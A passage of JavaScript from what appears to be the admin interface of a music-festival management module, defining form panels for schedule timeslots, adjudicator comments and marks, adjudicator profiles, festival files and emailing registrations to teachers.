Registrations - Sorting', \n 'visible':'hidden',\n 'fields':{\n }},\n '_sorting2':{'label':'Class 2 Registrations - Sorting', \n 'visible':'hidden',\n 'fields':{\n }},\n '_sorting3':{'label':'Class 3 Registrations - Sorting', \n 'visible':'hidden',\n 'fields':{\n }},\n '_sorting4':{'label':'Class 4 Registrations - Sorting', \n 'visible':'hidden',\n 'fields':{\n }},\n '_sorting5':{'label':'Class 5 Registrations - Sorting', \n 'visible':'hidden',\n 'fields':{\n }},\n '_description':{'label':'Description', 'fields':{\n 'description':{'label':'Description', 'hidelabel':'yes', 'type':'textarea'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.save();'},\n 'delete':{'label':'Delete', \n 'visible':function() {return M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.remove();'},\n }},\n };\n this.scheduletimeslot.fieldValue = function(s, i, d) { \n if( i == 'registrations1' || i == 'registrations2' || i == 'registrations3' || i == 'registrations4' || i == 'registrations5' ) {\n return this.data.registrations;\n }\n return this.data[i]; \n }\n this.scheduletimeslot.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.scheduleTimeslotHistory', 'args':{'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'field':i}};\n }\n this.scheduletimeslot.updateRegistrations = function() {\n var c1_id = this.formValue('class1_id');\n var c2_id = this.formValue('class2_id');\n var c3_id = this.formValue('class3_id');\n var c4_id = this.formValue('class4_id');\n var c5_id = this.formValue('class5_id');\n this.sections._registrations1.visible = 'hidden';\n this.sections._registrations2.visible = 'hidden';\n this.sections._registrations3.visible = 'hidden';\n this.sections._registrations4.visible = 'hidden';\n this.sections._registrations5.visible = 'hidden';\n if( this.formValue('flags1') == 'on' && this.formValue('class1_id') > 0 && this.data.classes != null ) {\n for(var i in this.data.classes) {\n if( this.data.classes[i].id == c1_id ) {\n if( this.data.classes[i].registrations != null ) {\n this.sections._registrations1.visible = 'yes';\n this.sections._registrations1.fields.registrations1.list = this.data.classes[i].registrations;\n }\n }\n if( this.data.classes[i].id == c2_id ) {\n if( this.data.classes[i].registrations != null ) {\n this.sections._registrations2.visible = 'yes';\n this.sections._registrations2.fields.registrations2.list = this.data.classes[i].registrations;\n }\n }\n if( this.data.classes[i].id == c3_id ) {\n if( this.data.classes[i].registrations != null ) {\n this.sections._registrations3.visible = 'yes';\n this.sections._registrations3.fields.registrations3.list = this.data.classes[i].registrations;\n }\n }\n if( this.data.classes[i].id == c4_id ) {\n if( this.data.classes[i].registrations != null ) {\n this.sections._registrations4.visible = 'yes';\n this.sections._registrations4.fields.registrations4.list = this.data.classes[i].registrations;\n }\n }\n if( this.data.classes[i].id == c5_id ) {\n if( this.data.classes[i].registrations != null ) {\n this.sections._registrations5.visible = 'yes';\n this.sections._registrations5.fields.registrations5.list = this.data.classes[i].registrations;\n }\n }\n }\n }\n this.showHideSection('_registrations1');\n this.showHideSection('_registrations2');\n this.showHideSection('_registrations3');\n this.showHideSection('_registrations4');\n this.showHideSection('_registrations5');\n if( this.sections._registrations1.visible == 'yes' ) {\n this.refreshSection('_registrations1');\n }\n if( this.sections._registrations2.visible == 'yes' ) {\n this.refreshSection('_registrations2');\n }\n if( this.sections._registrations3.visible == 'yes' ) {\n this.refreshSection('_registrations3');\n }\n if( this.sections._registrations4.visible == 'yes' ) {\n this.refreshSection('_registrations4');\n }\n if( this.sections._registrations5.visible == 'yes' ) {\n this.refreshSection('_registrations5');\n }\n this.updateSorting();\n }\n this.scheduletimeslot.updateSorting = function() {\n var c1_id = this.formValue('class1_id');\n var c2_id = this.formValue('class2_id');\n var c3_id = this.formValue('class3_id');\n var c4_id = this.formValue('class4_id');\n var c5_id = this.formValue('class5_id');\n // Update the class registrations\n this.sections._sorting1.fields = {};\n this.sections._sorting2.fields = {};\n this.sections._sorting3.fields = {};\n this.sections._sorting4.fields = {};\n this.sections._sorting5.fields = {};\n this.sections._sorting1.visible = 'hidden';\n this.sections._sorting2.visible = 'hidden';\n this.sections._sorting3.visible = 'hidden';\n this.sections._sorting4.visible = 'hidden';\n this.sections._sorting5.visible = 'hidden';\n for(var i in this.data.classes) {\n if( c1_id > 0 && this.data.classes[i].id == c1_id ) {\n for(var j in this.data.classes[i].registrations) {\n if( this.formValue('flags1') == 'on' ) {\n var t = this.formValue('registrations1');\n if( t == '' ) {\n break;\n } \n var r = t.split(/,/);\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\n continue;\n }\n }\n this.sections._sorting1.visible = 'yes';\n this.sections._sorting1.fields['seq_' + this.data.classes[i].registrations[j].id] = {\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\n 'type':'text', \n 'size':'small',\n };\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\n }\n }\n if( c2_id > 0 && this.data.classes[i].id == c2_id ) {\n for(var j in this.data.classes[i].registrations) {\n if( this.formValue('flags1') == 'on' ) {\n var t = this.formValue('registrations2');\n if( t == '' ) {\n break;\n } \n var r = t.split(/,/);\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\n continue;\n }\n }\n this.sections._sorting2.visible = 'yes';\n this.sections._sorting2.fields['seq_' + this.data.classes[i].registrations[j].id] = {\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\n 'type':'text', \n 'size':'small',\n };\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\n }\n }\n if( c3_id > 0 && this.data.classes[i].id == c3_id ) {\n for(var j in this.data.classes[i].registrations) {\n if( this.formValue('flags1') == 'on' ) {\n var t = this.formValue('registrations3');\n if( t == '' ) {\n break;\n } \n var r = t.split(/,/);\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\n continue;\n }\n }\n this.sections._sorting3.visible = 'yes';\n this.sections._sorting3.fields['seq_' + this.data.classes[i].registrations[j].id] = {\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\n 'type':'text', \n 'size':'small',\n };\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\n }\n }\n if( c4_id > 0 && this.data.classes[i].id == c4_id ) {\n for(var j in this.data.classes[i].registrations) {\n if( this.formValue('flags1') == 'on' ) {\n var t = this.formValue('registrations4');\n if( t == '' ) {\n break;\n } \n var r = t.split(/,/);\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\n continue;\n }\n }\n this.sections._sorting4.visible = 'yes';\n this.sections._sorting4.fields['seq_' + this.data.classes[i].registrations[j].id] = {\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\n 'type':'text', \n 'size':'small',\n };\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\n }\n }\n if( c5_id > 0 && this.data.classes[i].id == c5_id ) {\n for(var j in this.data.classes[i].registrations) {\n if( this.formValue('flags1') == 'on' ) {\n var t = this.formValue('registrations5');\n if( t == '' ) {\n break;\n } \n var r = t.split(/,/);\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\n continue;\n }\n }\n this.sections._sorting5.visible = 'yes';\n this.sections._sorting5.fields['seq_' + this.data.classes[i].registrations[j].id] = {\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\n 'type':'text', \n 'size':'small',\n };\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\n }\n }\n }\n this.showHideSection('_options');\n this.refreshSection('_sorting1');\n this.refreshSection('_sorting2');\n this.refreshSection('_sorting3');\n this.refreshSection('_sorting4');\n this.refreshSection('_sorting5');\n this.showHideSection('_sorting1');\n this.showHideSection('_sorting2');\n this.showHideSection('_sorting3');\n this.showHideSection('_sorting4');\n this.showHideSection('_sorting5'); \n return true;\n }\n this.scheduletimeslot.open = function(cb, sid, did, fid, list) {\n if( sid != null ) { this.scheduletimeslot_id = sid; }\n if( did != null ) { this.sdivision_id = did; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotGet', \n {'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'festival_id':this.festival_id, 'sdivision_id':this.sdivision_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.scheduletimeslot;\n p.data = rsp.scheduletimeslot;\n p.data.classes = rsp.classes;\n p.sections.general.fields.sdivision_id.options = rsp.scheduledivisions;\n rsp.classes.unshift({'id':0, 'name':'No Class'});\n p.sections.general.fields.class1_id.options = rsp.classes;\n p.sections.general.fields.class2_id.options = rsp.classes;\n p.sections.general.fields.class3_id.options = rsp.classes;\n p.sections.general.fields.class4_id.options = rsp.classes;\n p.sections.general.fields.class5_id.options = rsp.classes;\n/* p.sections._registrations1.visible = 'hidden';\n if( rsp.scheduletimeslot.class1_id > 0 && rsp.classes != null ) {\n for(var i in rsp.classes) {\n if( rsp.classes[i].id == rsp.scheduletimeslot.class1_id ) {\n if( rsp.classes[i].registrations != null ) {\n if( (rsp.scheduletimeslot.flags&0x01) > 0 ) {\n p.sections._registrations1.visible = 'yes';\n }\n p.sections._registrations1.fields.registrations1.list = rsp.classes[i].registrations;\n }\n }\n }\n } */\n p.refresh();\n p.show(cb);\n p.updateRegistrations();\n });\n }\n this.scheduletimeslot.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.scheduletimeslot.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.scheduletimeslot_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotUpdate', \n {'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.scheduletimeslot.remove = function() {\n M.confirm('Are you sure you want to remove timeslot?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotDelete', {'tnid':M.curTenantID, 'scheduletimeslot_id':M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.scheduletimeslot.close();\n });\n });\n }\n this.scheduletimeslot.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduletimeslot_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.scheduletimeslot.save(\\'M.ciniki_musicfestivals_main.scheduletimeslot.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduletimeslot_id) + 1] + ');\\');';\n }\n return null;\n }\n this.scheduletimeslot.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduletimeslot_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.scheduletimeslot.save(\\'M.ciniki_musicfestivals_main.scheduletimeslot_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduletimeslot_id) - 1] + ');\\');';\n }\n return null;\n }\n this.scheduletimeslot.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.scheduletimeslot.save();');\n this.scheduletimeslot.addClose('Cancel');\n this.scheduletimeslot.addButton('next', 'Next');\n this.scheduletimeslot.addLeftButton('prev', 'Prev');\n\n //\n // The panel to edit Schedule Time Slot Comments\n //\n this.timeslotcomments = new M.panel('Comments', 'ciniki_musicfestivals_main', 'timeslotcomments', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.timeslotcomments');\n this.timeslotcomments.data = null;\n this.timeslotcomments.festival_id = 0;\n this.timeslotcomments.timeslot_id = 0;\n this.timeslotcomments.nplist = [];\n this.timeslotcomments.sections = {};\n this.timeslotcomments.fieldValue = function(s, i, d) { return this.data[i]; }\n this.timeslotcomments.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.scheduleTimeslotHistory', 'args':{'tnid':M.curTenantID, 'scheduletimeslot_id':this.timeslot_id, 'field':i}};\n }\n this.timeslotcomments.cellValue = function(s, i, j, d) {\n switch(j) {\n case 0 : return d.label;\n case 1 : return d.value;\n }\n }\n this.timeslotcomments.open = function(cb, tid, fid, list) {\n if( tid != null ) { this.timeslot_id = tid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotCommentsGet', \n {'tnid':M.curTenantID, 'timeslot_id':this.timeslot_id, 'festival_id':this.festival_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.timeslotcomments;\n p.data = rsp.timeslot;\n p.sections = {};\n for(var i in rsp.timeslot.registrations) {\n var registration = rsp.timeslot.registrations[i];\n p.sections['details_' + i] = {'label':'Registration', 'type':'simplegrid', 'num_cols':2, 'aside':'yes'};\n p.data['details_' + i] = [\n {'label':'Class', 'value':registration.reg_class_name},\n {'label':'Participant', 'value':registration.name},\n {'label':'Title', 'value':registration.title1},\n {'label':'Video', 'value':M.hyperlink(registration.video_url1)},\n {'label':'Music', 'value':registration.music_orgfilename1},\n ];\n if( (registration.reg_flags&0x1000) == 0x1000 ) {\n p.data['details_' + i].push({'label':'2nd Title', 'value':registration.title2});\n p.data['details_' + i].push({'label':'2nd Video', 'value':M.hyperlink(registration.video_url2)});\n p.data['details_' + i].push({'label':'2nd Music', 'value':registration.music_orgfilename2});\n }\n if( (registration.reg_flags&0x4000) == 0x4000 ) {\n p.data['details_' + i].push({'label':'3rd Title', 'value':registration.title3});\n p.data['details_' + i].push({'label':'3rd Video', 'value':M.hyperlink(registration.video_url3)});\n p.data['details_' + i].push({'label':'3rd Music', 'value':registration.music_orgfilename3});\n }\n // \n // Setup the comment, grade & score fields, could be for multiple adjudicators\n //\n for(var j in rsp.adjudicators) {\n p.sections['comments_' + i] = {'label':rsp.adjudicators[j].display_name, 'fields':{}};\n p.sections['comments_' + i].fields['comments_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\n 'label':'Comments', \n 'type':'textarea', \n 'size':'large',\n };\n// p.sections['comments_' + i].fields['grade_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\n// 'label':'Grade', \n// 'type':'text', \n// 'size':'small',\n// };\n p.sections['comments_' + i].fields['score_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\n 'label':'Mark', \n 'type':'text', \n 'size':'small',\n };\n/* if( M.modFlagOn('ciniki.musicfestivals', 0x08) ) {\n p.sections['comments_' + i].fields['placement_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\n 'label':'Placement', \n 'type':'text', \n 'size':'large',\n };\n }*/\n }\n }\n p.refresh();\n p.show(cb);\n });\n }\n this.timeslotcomments.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.timeslotcomments.close();'; }\n if( !this.checkForm() ) { return false; }\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotCommentsUpdate', \n {'tnid':M.curTenantID, 'timeslot_id':this.timeslot_id, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n }\n this.timeslotcomments.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.timeslotcomments.save();');\n this.timeslotcomments.addClose('Cancel');\n\n\n //\n // Adjudicators\n //\n this.adjudicator = new M.panel('Adjudicator', 'ciniki_musicfestivals_main', 'adjudicator', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.adjudicator');\n this.adjudicator.data = null;\n this.adjudicator.festival_id = 0;\n this.adjudicator.adjudicator_id = 0;\n this.adjudicator.customer_id = 0;\n this.adjudicator.nplist = [];\n this.adjudicator.sections = {\n '_image_id':{'label':'Adjudicator Photo', 'type':'imageform', 'aside':'yes', 'fields':{\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\n 'addDropImage':function(iid) {\n M.ciniki_musicfestivals_main.adjudicator.setFieldValue('image_id', iid);\n return true;\n },\n 'addDropImageRefresh':'',\n 'deleteImage':function(fid) {\n M.ciniki_musicfestivals_main.adjudicator.setFieldValue(fid,0);\n return true;\n },\n },\n }}, \n 'customer_details':{'label':'Adjudicator', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\n 'cellClasses':['label', ''],\n 'addTxt':'Edit',\n 'addFn':'M.startApp(\\'ciniki.customers.edit\\',null,\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer();\\',\\'mc\\',{\\'next\\':\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer\\',\\'customer_id\\':M.ciniki_musicfestivals_main.adjudicator.data.customer_id});',\n 'changeTxt':'Change customer',\n 'changeFn':'M.startApp(\\'ciniki.customers.edit\\',null,\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer();\\',\\'mc\\',{\\'next\\':\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer\\',\\'customer_id\\':0});',\n },\n '_discipline':{'label':'Discipline', 'fields':{\n 'discipline':{'label':'', 'hidelabel':'yes', 'type':'text'},\n }},\n '_description':{'label':'Full Bio', 'fields':{\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'xlarge'},\n }},\n '_buttons':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.adjudicator.save();'},\n 'delete':{'label':'Remove Adjudicator', \n 'visible':function() {return M.ciniki_musicfestivals_main.adjudicator.adjudicator_id > 0 ? 'yes' : 'no'; },\n 'fn':'M.ciniki_musicfestivals_main.adjudicator.remove();'},\n }},\n };\n this.adjudicator.fieldValue = function(s, i, d) { return this.data[i]; }\n this.adjudicator.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.adjudicatorHistory', 'args':{'tnid':M.curTenantID, 'adjudicator_id':this.adjudicator_id, 'field':i}};\n }\n this.adjudicator.cellValue = function(s, i, j, d) {\n if( s == 'customer_details' && j == 0 ) { return d.detail.label; }\n if( s == 'customer_details' && j == 1 ) {\n if( d.detail.label == 'Email' ) {\n return M.linkEmail(d.detail.value);\n } else if( d.detail.label == 'Address' ) {\n return d.detail.value.replace(/\\n/g, '
    ');\n }\n return d.detail.value;\n }\n };\n this.adjudicator.open = function(cb, aid, cid, fid, list) {\n if( cb != null ) { this.cb = cb; }\n if( aid != null ) { this.adjudicator_id = aid; }\n if( cid != null ) { this.customer_id = cid; }\n if( fid != null ) { this.festival_id = fid; }\n if( list != null ) { this.nplist = list; }\n if( aid != null && aid == 0 && cid != null && cid == 0 ) {\n M.startApp('ciniki.customers.edit',null,this.cb,'mc',{'next':'M.ciniki_musicfestivals_main.adjudicator.openCustomer', 'customer_id':0});\n return true;\n }\n M.api.getJSONCb('ciniki.musicfestivals.adjudicatorGet', {'tnid':M.curTenantID, 'customer_id':this.customer_id, 'adjudicator_id':this.adjudicator_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.adjudicator;\n p.data = rsp.adjudicator;\n if( rsp.adjudicator.id > 0 ) {\n p.festival_id = rsp.adjudicator.festival_id;\n }\n p.customer_id = rsp.adjudicator.customer_id;\n if( p.customer_id == 0 ) {\n p.sections.customer_details.addTxt = '';\n p.sections.customer_details.changeTxt = 'Add';\n } else {\n p.sections.customer_details.addTxt = 'Edit';\n p.sections.customer_details.changeTxt = 'Change';\n }\n p.refresh();\n p.show();\n });\n }\n this.adjudicator.openCustomer = function(cid) {\n this.open(null,null,cid);\n }\n this.adjudicator.updateCustomer = function(cid) {\n if( cid != null ) { this.customer_id = cid; }\n M.api.getJSONCb('ciniki.customers.customerDetails', {'tnid':M.curTenantID, 'customer_id':this.customer_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.adjudicator;\n p.data.customer_details = rsp.details;\n if( p.customer_id == 0 ) {\n p.sections.customer_details.addTxt = '';\n p.sections.customer_details.changeTxt = 'Add';\n } else {\n p.sections.customer_details.addTxt = 'Edit';\n p.sections.customer_details.changeTxt = 'Change';\n }\n p.refreshSection('customer_details');\n p.show();\n });\n }\n this.adjudicator.save = function(cb) {\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.adjudicator.close();'; }\n if( !this.checkForm() ) { return false; }\n if( this.adjudicator_id > 0 ) {\n var c = this.serializeForm('no');\n if( c != '' ) {\n M.api.postJSONCb('ciniki.musicfestivals.adjudicatorUpdate', {'tnid':M.curTenantID, 'adjudicator_id':this.adjudicator_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n eval(cb);\n });\n } else {\n eval(cb);\n }\n } else {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.adjudicatorAdd', {'tnid':M.curTenantID, 'customer_id':this.customer_id, 'festival_id':this.festival_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.adjudicator.adjudicator_id = rsp.id;\n eval(cb);\n });\n }\n }\n this.adjudicator.remove = function() {\n M.confirm('Are you sure you want to remove adjudicator?',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.adjudicatorDelete', {'tnid':M.curTenantID, 'adjudicator_id':M.ciniki_musicfestivals_main.adjudicator.adjudicator_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n M.ciniki_musicfestivals_main.adjudicator.close();\n });\n });\n }\n this.adjudicator.nextButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.adjudicator_id) < (this.nplist.length - 1) ) {\n return 'M.ciniki_musicfestivals_main.adjudicator.save(\\'M.ciniki_musicfestivals_main.adjudicator.open(null,' + this.nplist[this.nplist.indexOf('' + this.adjudicator_id) + 1] + ');\\');';\n }\n return null;\n }\n this.adjudicator.prevButtonFn = function() {\n if( this.nplist != null && this.nplist.indexOf('' + this.adjudicator_id) > 0 ) {\n return 'M.ciniki_musicfestivals_main.adjudicator.save(\\'M.ciniki_musicfestivals_main.adjudicator_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.adjudicator_id) - 1] + ');\\');';\n }\n return null;\n }\n this.adjudicator.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.adjudicator.save();');\n this.adjudicator.addClose('Cancel');\n this.adjudicator.addButton('next', 'Next');\n this.adjudicator.addLeftButton('prev', 'Prev');\n\n //\n // The panel to display the add form\n //\n this.addfile = new M.panel('Add File', 'ciniki_musicfestivals_main', 'addfile', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.addfile');\n this.addfile.default_data = {'type':'20'};\n this.addfile.festival_id = 0;\n this.addfile.data = {}; \n this.addfile.sections = {\n '_file':{'label':'File', 'fields':{\n 'uploadfile':{'label':'', 'type':'file', 'hidelabel':'yes'},\n }},\n 'info':{'label':'Information', 'type':'simpleform', 'fields':{\n 'name':{'label':'Title', 'type':'text'},\n 'webflags':{'label':'Website', 'type':'flags', 'default':'1', 'flags':{'1':{'name':'Visible'}}},\n }},\n '_save':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.addfile.save();'},\n }},\n };\n this.addfile.fieldValue = function(s, i, d) { \n if( this.data[i] != null ) { return this.data[i]; } \n return ''; \n };\n this.addfile.open = function(cb, eid) {\n this.reset();\n this.data = {'name':''};\n this.file_id = 0;\n this.festival_id = eid;\n this.refresh();\n this.show(cb);\n };\n this.addfile.save = function() {\n var c = this.serializeFormData('yes');\n if( c != '' ) {\n M.api.postJSONFormData('ciniki.musicfestivals.fileAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c,\n function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n } \n M.ciniki_musicfestivals_main.addfile.file_id = rsp.id;\n M.ciniki_musicfestivals_main.addfile.close();\n });\n } else {\n this.close();\n }\n };\n this.addfile.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.addfile.save();');\n this.addfile.addClose('Cancel');\n\n //\n // The panel to display the edit form\n //\n this.editfile = new M.panel('File', 'ciniki_musicfestivals_main', 'editfile', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.info.editfile');\n this.editfile.file_id = 0;\n this.editfile.data = null;\n this.editfile.sections = {\n 'info':{'label':'Details', 'type':'simpleform', 'fields':{\n 'name':{'label':'Title', 'type':'text'},\n 'webflags':{'label':'Website', 'type':'flags', 'default':'1', 'flags':{'1':{'name':'Visible'}}},\n }},\n '_save':{'label':'', 'buttons':{\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.editfile.save();'},\n 'download':{'label':'Download', 'fn':'M.ciniki_musicfestivals_main.editfile.download(M.ciniki_musicfestivals_main.editfile.file_id);'},\n 'delete':{'label':'Delete', 'fn':'M.ciniki_musicfestivals_main.editfile.remove();'},\n }},\n };\n this.editfile.fieldValue = function(s, i, d) { \n return this.data[i]; \n }\n this.editfile.sectionData = function(s) {\n return this.data[s];\n };\n this.editfile.fieldHistoryArgs = function(s, i) {\n return {'method':'ciniki.musicfestivals.fileHistory', 'args':{'tnid':M.curTenantID, 'file_id':this.file_id, 'field':i}};\n };\n this.editfile.open = function(cb, fid) {\n if( fid != null ) { this.file_id = fid; }\n M.api.getJSONCb('ciniki.musicfestivals.fileGet', {'tnid':M.curTenantID, 'file_id':this.file_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.editfile;\n p.data = rsp.file;\n p.refresh();\n p.show(cb);\n });\n };\n this.editfile.save = function() {\n var c = this.serializeFormData('no');\n if( c != '' ) {\n M.api.postJSONFormData('ciniki.musicfestivals.fileUpdate', {'tnid':M.curTenantID, 'file_id':this.file_id}, c, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n } \n M.ciniki_musicfestivals_main.editfile.close();\n });\n }\n };\n this.editfile.remove = function() {\n M.confirm('Are you sure you want to delete \\'' + this.data.name + '\\'? All information about it will be removed and unrecoverable.',null,function() {\n M.api.getJSONCb('ciniki.musicfestivals.fileDelete', {'tnid':M.curTenantID, 'file_id':M.ciniki_musicfestivals_main.editfile.file_id}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n } \n M.ciniki_musicfestivals_main.editfile.close();\n });\n });\n };\n this.editfile.download = function(fid) {\n M.api.openFile('ciniki.musicfestivals.fileDownload', {'tnid':M.curTenantID, 'file_id':fid});\n };\n this.editfile.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.editfile.save();');\n this.editfile.addClose('Cancel');\n\n //\n // The panel to email a teacher their list of registrations\n //\n this.emailregistrations = new M.panel('Email Registrations', 'ciniki_musicfestivals_main', 'emailregistrations', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.emailregistrations');\n this.emailregistrations.data = {};\n this.emailregistrations.sections = {\n '_subject':{'label':'', 'type':'simpleform', 'aside':'yes', 'fields':{\n 'subject':{'label':'Subject', 'type':'text'},\n }},\n '_message':{'label':'Message', 'type':'simpleform', 'aside':'yes', 'fields':{\n 'message':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'large'},\n }},\n '_save':{'label':'', 'aside':'yes', 'buttons':{\n 'send':{'label':'Send', 'fn':'M.ciniki_musicfestivals_main.emailregistrations.send();'},\n }},\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':5,\n 'headerValues':['Class', 'Registrant', 'Title', 'Time', 'Virtual'],\n 'cellClasses':['', '', '', '', ''],\n },\n };\n this.emailregistrations.fieldValue = function(s, i, d) { return ''; }\n this.emailregistrations.cellValue = function(s, i, j, d) {\n if( s == 'registrations' ) {\n switch (j) {\n case 0: return d.class_code;\n case 1: return d.display_name;\n case 2: return d.title1;\n case 3: return d.perf_time1;\n case 4: return (d.participation == 1 ? 'Virtual' : 'In Person');\n }\n }\n }\n this.emailregistrations.open = function(cb, reg) {\n this.sections.registrations.label = M.ciniki_musicfestivals_main.festival.sections.registrations.label;\n this.data.registrations = M.ciniki_musicfestivals_main.festival.data.registrations;\n this.refresh();\n this.show(cb);\n };\n this.emailregistrations.send = function() {\n var c = this.serializeForm('yes');\n M.api.postJSONCb('ciniki.musicfestivals.registrationsEmailSend', \n {'tnid':M.curTenantID, 